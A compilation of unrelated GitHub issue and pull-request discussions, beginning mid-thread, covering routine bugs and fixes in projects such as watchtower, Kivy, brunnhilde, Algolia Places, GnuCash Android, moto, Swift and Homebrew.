        C:\Users\amezc\Documents\Go\src\github.com\docker\docker\cliconfig (from $GOPATH)
..\..\Go\src\github.com\v2tec\watchtower\container\trust.go:13:2: cannot find package "github.com/docker/docker/cliconfig/configfile" in any of:
        C:\Go\src\github.com\docker\docker\cliconfig\configfile (from $GOROOT)
        C:\Users\amezc\Documents\Go\src\github.com\docker\docker\cliconfig\configfile (from $GOPATH)
..\..\Go\src\github.com\v2tec\watchtower\container\trust.go:14:2: cannot find package "github.com/docker/docker/cliconfig/credentials" in any of:
        C:\Go\src\github.com\docker\docker\cliconfig\credentials (from $GOROOT)
        C:\Users\amezc\Documents\Go\src\github.com\docker\docker\cliconfig\credentials (from $GOPATH)

After glide install do you see the vendor folder under your watchtower source folder? Maybe you are seeing this isssue https://github.com/Masterminds/glide/issues/150


我该怎么准备数据，新手，看完这句也不是很懂。

First prepare a directory of fonts and a background datasets without text. You can also prepare a word corpus for rendering.

could you please share some datasets ? i just want to know how to prepare datasets.if u can offer,i would be appreciated
here is my Email<EMAIL_ADDRESS>

could you please share some datasets ? i just want to know how to prepare datasets.if u can offer,i would be appreciated
here is my Email<EMAIL_ADDRESS>

could you please share some datasets ? i just want to know how to prepare datasets.if u can offer,i would be appreciated
here is my Email<EMAIL_ADDRESS>
我才开始做这个，你现在会这个数据的准备了吗，可以大概给我说一下吗

could you please share some datasets ? i just want to know how to prepare datasets.if u can offer,i would be appreciated
here is my Email<EMAIL_ADDRESS>

<EMAIL_ADDRESS>
老哥 你复现成功了嘛


clang-tidy modernize-use-default-member-init and modernize-use-emplace

Two more clang-tidy modernizations.

@greglandrum I tried out the 'resolve conflicts' and apparently I can push to your repo which I find amusing.  Could you take a look when you get a chance?

@greglandrum I tried out the 'resolve conflicts' and apparently I can push to your repo which I find amusing. Could you take a look when you get a chance?

yeah, since you're a maintainer you can generally commit to forks when people do a PR (there's a checkbox they can do when creating the PR to avoid that).

that merge looks fine to me.


adding two labels in a grid layout with different sizes triggers Label.on_size repeatedly

We noticed due to debugging output:
[CRITICAL          ] [Clock       ] Warning, too much iteration done before the
next frame. Check your code, or increase the Clock.max_iteration attribute
code is:
gt_layout = GridLayout(rows=1, spacing=10, size_hint_y=None)
text1 = "[color=888888][b]" + "[/b],[b] ".join(a) + "[/b][/color]"
self.label1 = MultiLineLabel(text=text1, markup=True, font_size="14sp")
gt_layout.add_widget(self.label1)
text2 = "[color=888888][b]" + "[/b],[b] ".join(b) + "[/b][/color]"
self.label2 = MultiLineLabel(text=text2, markup=True, font_size="16sp")
gt_layout.add_widget(self.label2)
This does not occur when sizes are equal.
Note: labels are MultiLineLabel we implemented, but we think it is not the issue as we simply set some properties there.
class MultiLineLabel(Label):
def __init__(self, **kwargs):
    super(MultiLineLabel, self).__init__(**kwargs)
    self.text_size = self.size
    self.bind(size=self.on_size)
    self.size_hint_y = None

def on_size(self, widget, size):
    self.text_size = size[0], None
    self.texture_update()
    if self.size_hint_y is None and self.size_hint_x is not None:
        self.height = max(self.texture_size[1], self.line_height)
    elif self.size_hint_x is None and self.size_hint_y is not None:
        self.width = self.texture_size[0]

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/8985388-adding-two-labels-in-a-grid-layout-with-different-sizes-triggers-label-on_size-repeatedly?utm_campaign=plugin&utm_content=tracker%2F42681&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F42681&utm_medium=issues&utm_source=github).

Okay, I am not sure about what I am saying there, but I feel like there are certain inaccuracies.
Is binding size to on_size necessary? Normally Kivy does this behind the scenes.
Secondly, you modify the size of the widget in the event handler causing infinite recursion.
I mean you really wrote : if my size changes, I will will change my height (or width) which will cause my size to change again, etc...
Hope it helps.

Yeah, reading the code after sleeping certainly changes my thoughts... LOL
Thanks for your help, sorry for bothering.


D-Adaptation Adan

Implements Adan with D-Adaptation automatic step-sizes

Hi! Thank you for the pull request. I'm going to test this out a little more before merging. So far it works great on cifar10/100 in my experiments. I'm going on vacation for a month so I won't be able to do a proper evaluation until I get back, I hope that's ok.


Close connections before deleting database

Was getting this error on windows machine using command prompt:
Siegfried scan complete. Processing results.
Traceback (most recent call last):
  File "C:\Users\sonoe\AppData\Local\Programs\Python\Python37\Scripts\brunnhilde.py", line 898, in <module>
    main()
  File "C:\Users\sonoe\AppData\Local\Programs\Python\Python37\Scripts\brunnhilde.py", line 889, in main
    os.remove(os.path.join(report_dir, 'siegfried.sqlite'))
PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'C:\\Users\\sonoe\\Desktop\\reports\\128\\siegfried.sqlite'

Closing connection before deleting the database resolved the issue.

Thanks for the patch, @sonoet! LGTM. I am merging into a development branch for a new release, 1.8.2. I'll try to put out a release with this and fixes for 1-2 other outstanding issues within the next week or so.
If you'd like me to credit you for this work in the release notes, please let me know me your name and/or affiliation as you'd like it to show up by email, either here or by email to tessa [at] bitarchivist [dot] net.

Merged correctly in new PR (I forgot to change the branch the first time): https://github.com/tw4l/brunnhilde/pull/48

Thanks for letting me know!  No worries about crediting me for such a small
change, but thank you for being so considerate.  Thanks for such a great
tool!  Using it to support community archives!
On Sat, May 30, 2020 at 10:33 PM Tessa Walsh<EMAIL_ADDRESS>wrote:

Thanks for the patch, @sonoet https://github.com/sonoet! LGTM. I am
merging into a development branch for a new release, 1.8.2. I'll try to put
out a release with this and fixes for 1-2 other outstanding issues within
the next week or so.
If you'd like me to credit you for this work in the release notes, please
let me know me your name and/or affiliation as you'd like it to show up by
email, either here or by email to tessa [at] bitarchivist [dot] net
<EMAIL_ADDRESS>—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/tw4l/brunnhilde/pull/46#issuecomment-636411594, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ACNKMQQPDB36H5VAKYV2Z4TRUG6Y7ANCNFSM4NKWX54A
.

Hi @sonoet , just a quick note to say that I just released Brunnhilde 1.9.0, which includes this bugfix: https://github.com/tw4l/brunnhilde/releases/tag/v1.9.0. You should be able to update with sudo pip install --upgrade brunnhilde.

Thank you!!!
On Fri, Jul 31, 2020 at 8:23 PM Tessa Walsh<EMAIL_ADDRESS>wrote:

Hi @sonoet https://github.com/sonoet , just a quick note to say that I
just released Brunnhilde 1.9.0, which includes this bugfix:
https://github.com/tw4l/brunnhilde/releases/tag/v1.9.0. You should be
able to update with sudo pip install --upgrade brunnhilde.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/tw4l/brunnhilde/pull/46#issuecomment-667436504, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ACNKMQVMGX2R7APNGC77CG3R6NOBXANCNFSM4NKWX54A
.


⚠ Quirk Club Argentina (API endpoint) has degraded performance

In 41934c7, Quirk Club Argentina (API endpoint) (https://us-central1-quirkclub-dev.cloudfunctions.net/api/check/api) experienced degraded performance:

HTTP code: 200
Response time: 7492 ms

Resolved: Quirk Club Argentina (API endpoint) performance has improved in 9384b33.


Early pspline check

Adds check during interpolant initialization to ensure interpolation library is included with build if asked for in input file.

Test this please


NEXT-24683 - Fix administration imageSlider that contains deleted media

1. Why is this change necessary?
If the imageSlider on a cms-page contains images that are deleted, it becomes unusable (Error in render: "TypeError: item is null“, see NEXT-24683). The risk is high, as users are not being warned about the images being used (see NEXT-23018). Besides that, images can be deleted by the user, just by confirming the modal. So it can occur quite commonly the customers face a broken imageSlider. This Pull-Request takes care of that, so that the user can continue to work with the imageSlider.
2. What does this change do, exactly?
When instanciating the imageSlider in the Administration, it fetches imageData from the mediaRepository. Every image that cannot be found (what means it has been deleted) will be removed from mediaItems and config.sliderItems in the component SwCmsElConfigImageSlider.
3. Describe each step to reproduce the issue or behaviour.

Create a page or a category with an imageSlider.
Add one or more images to that slider. Preferably upload new images to that slider, to be sure they are not used elsewhere.
Switch over to Media, delete at least one of the images that have been added to the slider.
A modal will appear and ask for confirmation. It will claim that the image is safe to delete. Besides that, the image will always be able to be deleted by the user.
Switch back to the page with the imageSlider, which will not be able to show the remaining images.

4. Please link to the relevant issues (if any).

NEXT-24683 - Image slider breaks when deleting media files
root cause 1: NEXT-23018 - Error with images in media: medium shown as not used although used in categories
root cause 2: NEXT-31160 - Media admin: all media-files are declared as "unused medium", regardless of whether and how often they are in use where

5. Checklist

[x] I have rebased my changes to remove merge conflicts
[x] I have written tests and verified that they fail without my change
[x] I have created a changelog file with all necessary information about my changes
[ ] I have written or adjusted the documentation according to my changes
[x] This change has comments for package types, values, functions, and non-obvious lines of code
[x] I have read the contribution requirements and fulfil them.

Thanks for your contribution :tada:

Awesome, thanks for the fast processing!


How to take action only if the element is present or visible?

raising on user's email

You can use the present() helper function, something like below -
element_info = ""
if present('element_identifier')
{
fetch element_identifier to element_info
echo element_info
}

visible() helper function can also be used, to detect is it is visible on the webpage. This is because a webpage element can be inside the webpage but hidden from rendering on screen.
visible() checks for elements that are visible while present() checks for whether the element exists on webpage regardless of whether it is visible.


autocomplete="off" does not work in chrome

Hi,
I have a problem with Google Chrome that already has problem with this repository. I have suggestion from Google Chrome with autocomplete="off" :

HTML :

We've tried a few things in #250 etc. and it seems like there's no heuristic possible to make this autocomplete actually disappear in chrome. Can you find a workaround on your end that works?

On page https://developers.google.com/web/updates/2015/06/checkout-faster-with-autofill, there is:
In the past, many developers would add autocomplete="off" to their form fields to prevent the browser from performing any kind of autocomplete functionality. While Chrome will still respect this tag for autocomplete data, it will not respect it for autofill data. So when should you use autocomplete="off"? One example is when you've implemented your own version of autocomplete for search. Another example is any form field where users will input and submit different kinds of information where it would not be useful to have the browser remember what was submitted previously.

So that page says basically we won't be able to get rid of the autofill (on purpose)

And if we put autocomplete="algolia" for instance ?

This would be confusing, since the next visit on the page those entries would get back added to the list. (if you submit the form at least)

So a unique random chain :)

There is plugin jQuery : https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#Tools_for_Disabling_Autocompletion that allows you to disable autocompletion. Maybe you can get inspired :)
Site : https://terrylinooo.github.io/jquery.disableAutoFill/

Have you been able to look at the jQuery plugin to get inspired?

This is such a huge problem for us that we are basically unable to actually "use" algolia places at all:
We have an address field that is a little less wide than the chrome autofill dropdown so that the autocomplete is completely hidden.
We can't expect our end users to press esc to make the autofill disappear and then use the autocomplete 🤦♂
Any solution to this is highly appreciated.
How about @seb-jean's proposal?
You could use the current timestamp + some random chars

btw: for everyone with the necessary flexibility in markup: we found that changing the input type="text" to type="search" and removing the name disabled the autofill in our test cases.

we ended up removing the name and setting the autocomplete value to a random 8 character string which works fine in chrome (while being an awkward solution, but there's no better one as you can read here: https://stackoverflow.com/questions/15738259/disabling-chrome-autofill

Thanks for the solution @econic but did you test on other browsers ?

I came across this issue because of inspecting a shopping site that I use. Its search field is being pre-populated by a word that I have searched before.
I tried "Empty cache and hard reload", Clear data and cookies, but it still autocompletes with that word. How is this library doing that? And is there any way I can reset the input field to an empty state as a client?

Check the following plugin: https://terrylinooo.github.io/jquery.disableAutoFill/
It works by randomizing the input name value to prevent Chrome to remember what you filled. It will restore back to original field name when submitting the form.

btw: for everyone with the necessary flexibility in markup: we found that changing the input type="text" to type="search" and removing the name disabled the autofill in our test cases.

Thank you. I changed the input type to type="search" and add a prefix to name, for example name="sq-name"

Autocomplete v0 has been in low maintenance mode for a few years and we just released Autocomplete v1 so I'm closing this.
This version addresses this problem.
Resources

Getting Started


Export to owncloud: "OC server not found"

When I try to export to owncloud, I get the error "OC server not found". I use the same url in the owncloud app and it works fine (it's the server's root address).
Software specifications

GnuCash Android version: 2.1.1 (beta)
System Android version: 5.0
Device type: LG G3

What does your server url look like? Mine works using https://cloud.example.com
Would you mind telling us exactly what you typed inwondertituting your domain name with example)? I also wonder if it matters whether you use http or https, but I doubt that should matter.

My server is at https://example.com/owncloud
I also tried with http, but it didn't work either.

I have the same problem. My owncloud URL: https://oc.example.com:9943/owncloud/

I tested this on a server with that extra path (the extra /owncloud at the end) and had this issue intermittently. Most of the time it worked fine, but when I repeatedly pressed the test button, eventually it would crash or give the OC server not found error. I'm not sure where to go from here.

I have the same problem when I use a self-signed certificate in owncloud. When I have created my own CA, added them to the device keystore and reconfigure owncloud problem disappeared.
e.g https://blog.didierstevens.com/2008/12/30/howto-make-your-own-cert-with-openssl/

I tested the issue in my installation and verified the problem with self-signed certificates. As a simple workaround you could use a certificate by letsencrypt.org . Since they provide free certs I consider this anyways the better solution. Hope that helps.


install.bash should cleanup after itself

just installing stuff with apt install and not cleaning up isn't very nice...
i suggest adding a apt remove --auto-remove --purge git make gcc binutils cpp step

i suggest adding a apt remove --auto-remove --purge git make gcc binutils cpp step

No, it is a very bad idea to do this as it would remove these packages if the user had installed them already. There is no reason to do this and it is very bad practice in a project to do so.


doc: Add an example sinatra app using openfeature-sdk

This PR
This adds a simple sinatra to help demonstrate usage, and to also help expose what is needed to have a working library.
Related Issues

Fixes #1234523
Notes

I'm using https://openfeature.dev/docs/tutorials/five-minutes-to-feature-flags for inspiration in the app and functionality 🐮
This is a work in progress, and we'll need some more features implemented before it is reasonable to land.
Follow-up Tasks

How to test

I'm going to close this PR since it's quite old now. Please feel free to reopen if you have a chance to work on it. Thanks!


Install addition package files

this will fix this bug introduced in 1.1.15 right?
======================================================================
ERROR: Failure: IOError ([Errno 2] No such file or directory: u'[MY_PATH]/moto/ec2/resources/instance_types.json')
----------------------------------------------------------------------
Traceback (most recent call last):
  File "[MY_PATH]/nose/loader.py", line 418, in loadTestsFromName
    addr.filename, addr.module)
  File "[MY_PATH]/nose/importer.py", line 47, in importFromPath
    return self.importFromDir(dir_path, fqname)
  File "[MY_PATH]/nose/importer.py", line 94, in importFromDir
    mod = load_module(part_fqname, fh, filename, desc)
  File "[MY_TEST_FILE]", line 15, in <module>
    from moto import mock_s3
  File "[MY_PATH]/moto/__init__.py", line 8, in <module>
    from .acm import mock_acm  # flake8: noqa
  File "[MY_PATH]/moto/acm/__init__.py", line 2, in <module>
    from .models import acm_backends
  File "[MY_PATH]/moto/acm/models.py", line 7, in <module>
    from moto.ec2 import ec2_backends
  File "[MY_PATH]/moto/ec2/__init__.py", line 2, in <module>
    from .models import ec2_backends
  File "[MY_PATH]/moto/ec2/models.py", line 115, in <module>
    INSTANCE_TYPES = json.load(open(os.path.join(RESOURCES_DIR, 'instance_types.json'), 'r'))
IOError: [Errno 2] No such file or directory: u'[MY_PATH]/moto/ec2/resources/instance_types.json'

@JackDanger

@jonmcoe correct. 1.1.19 now works

Awesome thanks!
On Sep 28, 2017 18:29, "Jack Danger"<EMAIL_ADDRESS>wrote:

@jonmcoe https://github.com/jonmcoe correct. 1.1.19 now works
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/spulec/moto/pull/1215#issuecomment-332981424, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AFKWtWvTiUj7-xH2JIo7dmWc41eRm6wqks5snB3JgaJpZM4PmcE6
.


WIP: Support custom participant qos and fixed datareader entity ids [12474]

Signed-off-by: Ricardo González Moreno<EMAIL_ADDRESS>

@richiware what is the status of this PR? Is it still a WIP? If so, can you convert it into Draft?


[SR-10018] Compiler crashes when weakfying object on closure declaration

Previous ID
SR-10018

Radar
rdar://problem/48993798

Original Reporter
@igorcferreira

Type
Bug

Attachment: Download

Environment
Swift 4.1
Xcode 10.1 (10B61)
macOS 10.14.3
Playground version 5.0 (iOS)
MacBook Pro 15" (2017)

Additional Detail from JIRA

Votes
0

Component/s
Compiler

Labels
Bug, TypeChecker

Assignee
None

Priority
Medium

md5: 4d58da649c7f47a03585801ec11fffa8

Issue Description:
When using the syntax [weak object] in a closure that is created inside another closure, the compiler crashes with the error "Segmentation fault: 11". But, weirdly enough, if you weakfy the object inside the top closure (even if not using it), the compiler stops crashing.
Here is a sample code (extracted from the Playground attached to this report):
import Foundation
import PlaygroundSupport

class TestObject {
    let name: String

    init(name: String) {
        self.name = name
    }
}

class Runner {
    let dispatchQueue = DispatchQueue(label: "Playground.TestQueue", qos: .background)
    let objects: [TestObject]

    init(objects: [TestObject]) {
        self.objects = objects
    }

    func run() {
        self.objects.forEach({ (object) in
            //: I expect this syntax to work, weakfying the `object` variable before passing to the block,
            //: but it actually causes the compiler to crash with error "Segmentation fault: 11"
            self.dispatchQueue.async { [weak object] in
                print(object?.name ?? "<Nil object>")
            }

            //: Weirdly, if you uncomment the code bellow the compiler will stop crashing! :)
            //weak var _: TestObject? = object
        })
    }
}
let runner = Runner(objects: [TestObject(name: "a"), TestObject(name: "b"), TestObject(name: "c"), TestObject(name: "d")])
runner.run()

PlaygroundPage.current.needsIndefiniteExecution = true

This issue has been fixed on main, the snippet from description type-checks successfully because everything is type-checked together now.


Add swift language support

Issue
Here are a few resources I've collected. Hopefully they are of some use to you:

tags.scm in the repo: https://github.com/alex-pinkus/tree-sitter-swift/blob/main/queries/tags.scm.
It uses MIT license.
swift-format is the official lint + format from swiftlang: https://github.com/swiftlang/swift-format

Will this be enough? Thanks.
Version and model info
No response

Would be nice to add the Repo-map support for swift, right now it only includes directory structure, but not class/function maps like it does with python for example.    Pretty please.


ERROR: brew info --json=v2

brew doctor output
Your system is ready to brew.

Verification

[X] My "brew doctor output" above says Your system is ready to brew. and am still able to reproduce my issue.
[X] I ran brew update twice and am still able to reproduce my issue.
[X] This issue's title and/or description do not reference a single formula e.g. brew install wget. If they do, open an issue at https://github.com/Homebrew/homebrew-core/issues/new/choose instead.

brew config output
HOMEBREW_VERSION: 4.0.3-103-gd7029e9
ORIGIN: https://github.com/Homebrew/brew
HEAD: d7029e95cd888887ee80aaab0918c6a92ac81cad
Last commit: 13 hours ago
Core tap origin: https://github.com/Homebrew/homebrew-core
Core tap HEAD: bc18192d5f01cfc11a569af66792fb5009e42674
Core tap last commit: 4 hours ago
Core tap branch: master
Core tap JSON: 23 Feb 01:56 UTC
HOMEBREW_PREFIX: /opt/homebrew
HOMEBREW_AUTO_UPDATE_SECS: 86400
HOMEBREW_BAT: set
HOMEBREW_CASK_OPTS: []
HOMEBREW_CLEANUP_MAX_AGE_DAYS: 7
HOMEBREW_EDITOR: vim
HOMEBREW_MAKE_JOBS: 12
Homebrew Ruby: 2.6.10 => /System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/bin/ruby
CPU: dodeca-core 64-bit arm_blizzard_avalanche
Clang: 14.0.0 build 1400
Git: 2.39.2 => /opt/homebrew/bin/git
Curl: 7.86.0 => /usr/bin/curl
macOS: 13.2.1-arm64
CLT: <IP_ADDRESS>.1.1668646533
Xcode: 14.2
Rosetta 2: false

What were you trying to do (and why)?
brew info --json=v2 firefox

Some casks will fail to execute brew info --json=v2. So far I have only found the following casks.

firefox
kitty
appcode
clion
datagrip
dataspell
goland
intellij-idea
phpstorm
pycharm
rider
rubymine
webstorm

What happened (include all command output)?
$ brew info --json=v2 firefox
Error: no implicit conversion of nil into String
Please report this issue:
  https://docs.brew.sh/Troubleshooting
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:50:in `initialize'
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:50:in `open'
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:50:in `file'
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:35:in `file'
/opt/homebrew/Library/Homebrew/cask/cask.rb:356:in `ruby_source_checksum'
/opt/homebrew/Library/Homebrew/cask/cask.rb:302:in `to_h'
/opt/homebrew/Library/Homebrew/cmd/info.rb:232:in `map'
/opt/homebrew/Library/Homebrew/cmd/info.rb:232:in `print_json'
/opt/homebrew/Library/Homebrew/cmd/info.rb:110:in `info'
/opt/homebrew/Library/Homebrew/brew.rb:93:in `<main>'

What did you expect to happen?
Command successfully executed.
Step-by-step reproduction instructions (by running brew commands)
$ brew info --json=v2 firefox

Can you try running it with --debug?

$ brew info --json=v2 --debug firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/usr/bin/env /opt/homebrew/Library/Homebrew/shims/shared/curl --disable --cookie /dev/null --globoff --show-error --user-agent Homebrew/4.0.3-103-gd7029e9\ \(Macintosh\;\ arm64\ Mac\ OS\ X\ 13.2.1\)\ curl/7.86.0 --header Accept-Language:\ en --retry 3 --fail https://raw.githubusercontent.com/Homebrew/homebrew-cask/f96dd73ba870b1d27cbcd324efb943a78b6072d1/Casks/firefox.rb
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
/opt/homebrew/Library/Homebrew/brew.rb (Cask::CaskLoader::FromAPILoader): loading firefox
Error: no implicit conversion of nil into String
Please report this issue:
  https://docs.brew.sh/Troubleshooting
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:50:in `initialize'
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:50:in `open'
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:50:in `file'
/System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib/ruby/2.6.0/digest.rb:35:in `file'
/opt/homebrew/Library/Homebrew/cask/cask.rb:356:in `ruby_source_checksum'
/opt/homebrew/Library/Homebrew/cask/cask.rb:302:in `to_h'
/opt/homebrew/Library/Homebrew/cmd/info.rb:232:in `map'
/opt/homebrew/Library/Homebrew/cmd/info.rb:232:in `print_json'
/opt/homebrew/Library/Homebrew/cmd/info.rb:110:in `info'
/opt/homebrew/Library/Homebrew/brew.rb:93:in `<main>'

ruby_source_checksum looks like your most recent changes @Bo98

The Firefox cask supports multiple languages so we don't actually load it from the JSON API we load it from the source API. So it looks what's happening here is that we can't load it because we don't have any sourcefile_path because we don't actually have a file that corresponds to the cask at all. All we have is the source as text that we downloaded from the source API.
irb(main):004:0> json_cask = Homebrew::API::Cask.all_casks["firefox"]; nil
=> nil
irb(main):005:0> cask = Cask::CaskLoader::FromAPILoader.new("firefox").load(config: nil); nil
=> nil
irb(main):006:0> cask.to_h
Traceback (most recent call last):
        8: from /usr/local/Homebrew/Library/Homebrew/brew.rb:93:in `<main>'
        7: from (irb):6
        6: from /usr/local/Homebrew/Library/Homebrew/cask/cask.rb:302:in `to_h'
        5: from /usr/local/Homebrew/Library/Homebrew/cask/cask.rb:356:in `ruby_source_checksum'
        4: from /usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.6.8_1/lib/ruby/2.6.0/digest.rb:35:in `file'
        3: from /usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.6.8_1/lib/ruby/2.6.0/digest.rb:50:in `file'
        2: from /usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.6.8_1/lib/ruby/2.6.0/digest.rb:50:in `open'
        1: from /usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/2.6.8_1/lib/ruby/2.6.0/digest.rb:50:in `initialize'
TypeError (no implicit conversion of nil into String)
irb(main):007:0> cask.instance_variable_set(:@ruby_source_checksum, json_cask["ruby_source_checksum"])
=> {"sha256"=>"4fe0b54b80d6d98d059839404f7fbddb155f8e2f4ab2bb5e7de25bbf1c643d41"}
irb(main):008:0> cask.to_h
=> {"token"=>"firefox", "full_token"=>"firefox", "tap"=>nil, "name"=>["Mozilla Firefox"], "desc"=>"Web browser", "homepage"=>"https://www.mozilla.org/firefox/", "url"=>#<URL::DSL:0x00007fddba13adb8 @uri=#<URI::HTTPS https://download-installer.cdn.mozilla.net/pub/firefox/releases/110.0/mac/en-US/Firefox%20110.0.dmg>, @verified="download-installer.cdn.mozilla.net/pub/firefox/releases/", @using=nil, @tag=nil, @branch=nil, @revisions=nil, @revision=nil, @trust_cert=nil, @cookies=nil, @referer=nil, @header=nil, @user_agent=:default, @data=nil, @only_path=nil, @specs={:verified=>"download-installer.cdn.mozilla.net/pub/firefox/releases/", :user_agent=>:default}>, "appcast"=>nil, "version"=>"110.0", "versions"=>{}, "installed"=>nil, "outdated"=>false, "sha256"=>#<Checksum:0x00007fddba13b6a0 @hexdigest="305161dd64565a816f22aa6f2e807f139a33c8afcdececaca0c7da0cd3bb3aa4">, "artifacts"=>[{:uninstall=>[{:quit=>"org.mozilla.firefox"}]}, {:app=>["Firefox.app"]}, {:zap=>[{:trash=>["~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/org.mozilla.firefox.sfl*", "~/Library/Application Support/CrashReporter/firefox_*", "~/Library/Application Support/Firefox", "~/Library/Caches/Firefox", "~/Library/Caches/Mozilla/updates/Applications/Firefox", "~/Library/Caches/org.mozilla.crashreporter", "~/Library/Caches/org.mozilla.firefox", "~/Library/Preferences/org.mozilla.crashreporter.plist", "~/Library/Preferences/org.mozilla.firefox.plist", "~/Library/Saved Application State/org.mozilla.firefox.savedState", "~/Library/WebKit/org.mozilla.firefox", "/Library/Logs/DiagnosticReports/firefox_*"], :rmdir=>["~/Library/Application Support/Mozilla", "~/Library/Caches/Mozilla/updates/Applications", "~/Library/Caches/Mozilla/updates", "~/Library/Caches/Mozilla"]}]}], "caveats"=>nil, "depends_on"=>{:macos=>#<MacOSRequirement: version>="10.12" []>}, "conflicts_with"=>{:cask=>#<Set: {"homebrew/cask-versions/firefox-beta", "homebrew/cask-versions/firefox-esr"}>}, "container"=>nil, "auto_updates"=>true, "tap_git_head"=>nil, "languages"=>["af", "ar", "be", "bg", "bn", "ca", "cs", "de", "en-CA", "en-GB", "en", "eo", "es-AR", "es-CL", "es-ES", "fa", "ff", "fi", "fr", "gl", "gn", "gu", "he", "hi", "in", "it", "ja", "ka", "ko", "mr", "my", "ne", "nl", "pa-IN", "pl", "pt-BR", "pt", "ru", "si", "sq", "sr", "sv", "ta", "te", "th", "tl", "tr", "uk", "ur", "zh-TW", "zh"], "ruby_source_checksum"=>{"sha256"=>"4fe0b54b80d6d98d059839404f7fbddb155f8e2f4ab2bb5e7de25bbf1c643d41"}}

https://github.com/Homebrew/brew/blob/d7029e95cd888887ee80aaab0918c6a92ac81cad/Library/Homebrew/cask/cask_loader.rb#L233-L240
After loading the cask from the source API here we need to use the source_checksum from the JSON API to set ruby_source_checksum in the cask.

There are also many failed casks that do not support multiple languages. So I do not think that support for multiple languages is the cause of this problem.

Thanks for looking @apainintheneck! If you'd be able to braindump into a draft PR then I or Bo will finish it off. np if too late!


Unexpected multiselect behavior in table

🐛 Bug Report
I ran into some use patterns that resulted in behavior that seems wrong.
💻 Repro or Code Sample
In this clip, we can see that deselecting a row causes it to be "registered" as the starting point for a shift+click/space multi-select. I would have expected that shift+clicking Sam while nothing else is selected would only select Sam.

Here is another case where deselecting a row results in weird behavior. We deselect a row inside a selected range, then shift+click a row beyond the range. I'm not sure what the right behavior is, but I would probably have expected:

Only Sam is added to the selection (i.e. same as without the shift key)
Everything between Sam and Michael (in this clip there aren't any other rows) inclusive is added to the selection

The fact that Joe, which we just deselected, gets re-selected seems wrong.

I looked for some documentation to use as the basis for what is and isn't correct behavior, but I couldn't find any. The ARIA treegrid guidance doesn't even suggest using shift+space, but instead talks about shift+arrow.

One note about Shift-Space: if a cell is focused, Shift-Space will select the row that cell is in (and that did come from the ARIA guidance, plus it makes it easier to select a row without needing to ArrowLeft all the way back to row selection, if you're in cell selection mode).
We probably want to maintain that behavior, so we'll need to reconcile the logic for that with whatever we decide for general Shift-key row selection.
2 general options for Shift-Space come to mind:

Shift-Space will select all rows between the selected rows and the currently focused row. (This is what our older row selection HLD says. It probably has corner cases to consider, like non-contiguous selections though.)
Shift-Space will only ever select/unselect a single row (the row that's focused) (even in multiselect mode) for keyboard selection. You could still Shift-click to select a range with mouse selection.


Unable to make request to get video/comments...

Hello! I have changed in youtube 3.5.5 all gdata.google.com to yt2009.org, all it works behind video and comments. In logcat I have got this: 03-08 17:22:28.782 W/YouTube ( 6644): Error for request {uri='http://undefined:80/feeds/api/videos/xW9_GmHJrro/comments?start-index=1&max-results=15', userAuth='null', headers='{}', content='null'} : java.net.UnknownHostException: Unable to resolve host "undefined": No address associated with hostname
In this xml undefined:80 also present. What I need to change???

hello, it's not your fault, it's probably due to a mistake i made in ced7c5f that prevented YT2009_IP from being set
5afde15 should fix this issue and it should start working for you after the admin of yt2009.org updates, sorry

@breakgimme thank you 😊

http://<IP_ADDRESS>:80/feeds/api/videos/w2yv8aT0UFc
Now I have this

did you set your YT2009_IP either in the env? it defaults to <IP_ADDRESS> but if you intend to use the yt2009 app you should set it to an IP your mobile device can access (so if just using within your home network you can get by with just using your local  192.168.x.x IP, if using outside you should set it to your public IP, or domain name if used).

Okay. Seems that admins from old-youtube.com have crooked arms :D

wanted to close this issue when yt2009.org gets the fix but its been 3 weeks and the admin doesn't seem to care, so i'll close it now

New Instance...
https://yt2009-kcn6.onrender.com


Supports multiple languages

Hugo supports the creation of websites with multiple languages side by side.
We also need supports multiple languages.
add i18n dir:
|-- i18n
|   |-- en.toml
|   `-- zh.toml

config file:
DefaultContentLanguage = "en"

[languages]
  [languages.en]
    languageName = "English"
    weight = 2
